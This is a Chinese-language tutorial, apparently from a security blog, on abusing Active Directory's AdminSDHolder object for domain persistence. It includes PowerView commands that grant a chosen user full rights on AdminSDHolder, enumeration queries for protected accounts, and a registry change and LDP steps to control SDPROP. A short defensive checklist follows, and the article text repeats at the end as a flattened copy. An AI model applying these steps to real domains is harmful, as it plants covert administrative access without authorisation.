域渗透——AdminSDHolder
字数 1341 2025-08-25 22:58:34

AdminSDHolder 域渗透技术详解

1. AdminSDHolder 概述

AdminSDHolder 是 Active Directory 中一个特殊的容器对象,作为特权组成员对象的安全模板。每个 AD 域中都有一个 AdminSDHolder 对象,位于域的 System 容器中,其 DN 为:

CN=AdminSDHolder,CN=System,DC=domain,DC=com

2. 受保护的 AD 账户和组

2.1 默认受保护组

AdminSDHolder 默认保护以下组:

  1. Administrators
  2. Domain Admins
  3. Account Operators
  4. Backup Operators
  5. Domain Controllers
  6. Enterprise Admins
  7. Print Operators
  8. Replicator
  9. Read-only Domain Controllers
  10. Schema Admins
  11. Server Operators

注意:Administrators、Domain Admins 和 Enterprise Admins 组对 AdminSDHolder 上的属性具有写权限。

2.2 受保护对象的特征

受保护的 AD 账户和组具有 AdminCount 属性值为 1 的特征。

重要说明AdminCount=1 不能保证当前仍然是受保护对象,因为从受保护组中删除用户后,该属性值不会自动重置。

3. 枚举受保护对象

3.1 使用 PowerView

# 查找受保护的所有用户
Get-NetUser -AdminCount

# 只筛选用户名
Get-NetUser -AdminCount | select samaccountname

# 查找受保护的所有组
Get-NetGroup -AdminCount

3.2 使用 AdFind

# 查找受保护的所有用户
AdFind.exe -b DC=domain,DC=com -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn

# 查找受保护的所有组
AdFind.exe -b DC=domain,DC=com -f "&(objectcategory=group)(admincount=1)" -dn

3.3 使用 ActiveDirectory 模块

# 查找受保护的所有用户和组
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" | select name

备用方法:如果域中没有安装 ActiveDirectory 模块,可以下载并导入 DLL:

import-module .\Microsoft.ActiveDirectory.Management.dll

4. 操作 AdminSDHolder 对象的 ACL

4.1 查看 ACL

Import-Module .\PowerView.ps1
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" | select IdentityReference

4.2 添加 ACL

# 添加用户对 AdminSDHolder 的完全访问权限
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName username -Verbose -Rights All

# 验证添加结果
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" | select IdentityReference

4.3 删除 ACL

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=com" -PrincipalIdentity username -Rights All -Verbose

5. SDPROP 机制

5.1 SDPROP 概述

安全描述符传播器(SDPROP)是一个后台任务,负责将可继承 ACE 的更改传播到后代对象。该任务在以下情况下触发:

  • 修改对象的安全描述符
  • 移动对象

5.2 修改 SDPROP 运行频率

默认情况下,SDPROP 进程在 PDC 模拟器上每 60 分钟运行一次。

修改运行频率(范围:1-120 分钟):

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

警告:修改频率过高会增加 CPU 处理 LSASS 的开销,可能导致系统卡顿。

5.3 强制 SDPROP 运行

  1. 运行 LDP.exe
  2. 连接 -> 连接,输入服务器名(当前机器名),端口 389
  3. 绑定凭证(选择"绑定为当前登录的用户"或提供凭据)
  4. 浏览 -> 修改
  5. 在"属性"选项卡中输入 FixUpInheritance
  6. 在"值"字段中输入 Yes
  7. 操作选择"添加",然后单击"输入",最后运行

6. 渗透测试应用

6.1 攻击角度

  • 通过修改 AdminSDHolder 的 ACL 实现域权限维持
  • 即使不在特权组中,也能控制特权组的成员资格

6.2 防御角度

  • 定期检查 AdminSDHolder 中的可疑 ACL
  • 监控对 AdminSDHolder 对象的修改
  • 检查异常注册表修改(特别是 SDPROP 频率)

7. 参考资源

AdminSDHolder 域渗透技术详解 1. AdminSDHolder 概述 AdminSDHolder 是 Active Directory 中一个特殊的容器对象,作为特权组成员对象的安全模板。每个 AD 域中都有一个 AdminSDHolder 对象,位于域的 System 容器中,其 DN 为: 2. 受保护的 AD 账户和组 2.1 默认受保护组 AdminSDHolder 默认保护以下组: Administrators Domain Admins Account Operators Backup Operators Domain Controllers Enterprise Admins Print Operators Replicator Read-only Domain Controllers Schema Admins Server Operators 注意 :Administrators、Domain Admins 和 Enterprise Admins 组对 AdminSDHolder 上的属性具有写权限。 2.2 受保护对象的特征 受保护的 AD 账户和组具有 AdminCount 属性值为 1 的特征。 重要说明 : AdminCount=1 不能保证当前仍然是受保护对象,因为从受保护组中删除用户后,该属性值不会自动重置。 3. 枚举受保护对象 3.1 使用 PowerView 3.2 使用 AdFind 3.3 使用 ActiveDirectory 模块 备用方法 :如果域中没有安装 ActiveDirectory 模块,可以下载并导入 DLL: 4. 操作 AdminSDHolder 对象的 ACL 4.1 查看 ACL 4.2 添加 ACL 4.3 删除 ACL 5. SDPROP 机制 5.1 SDPROP 概述 安全描述符传播器(SDPROP)是一个后台任务,负责将可继承 ACE 的更改传播到后代对象。该任务在以下情况下触发: 修改对象的安全描述符 移动对象 5.2 修改 SDPROP 运行频率 默认情况下,SDPROP 进程在 PDC 模拟器上每 60 分钟运行一次。 修改运行频率(范围:1-120 分钟): 警告 :修改频率过高会增加 CPU 处理 LSASS 的开销,可能导致系统卡顿。 5.3 强制 SDPROP 运行 运行 LDP.exe 连接 -> 连接,输入服务器名(当前机器名),端口 389 绑定凭证(选择"绑定为当前登录的用户"或提供凭据) 浏览 -> 修改 在"属性"选项卡中输入 FixUpInheritance 在"值"字段中输入 Yes 操作选择"添加",然后单击"输入",最后运行 6. 渗透测试应用 6.1 攻击角度 通过修改 AdminSDHolder 的 ACL 实现域权限维持 即使不在特权组中,也能控制特权组的成员资格 6.2 防御角度 定期检查 AdminSDHolder 中的可疑 ACL 监控对 AdminSDHolder 对象的修改 检查异常注册表修改(特别是 SDPROP 频率) 7. 参考资源 Microsoft 文档 3gstudent 博客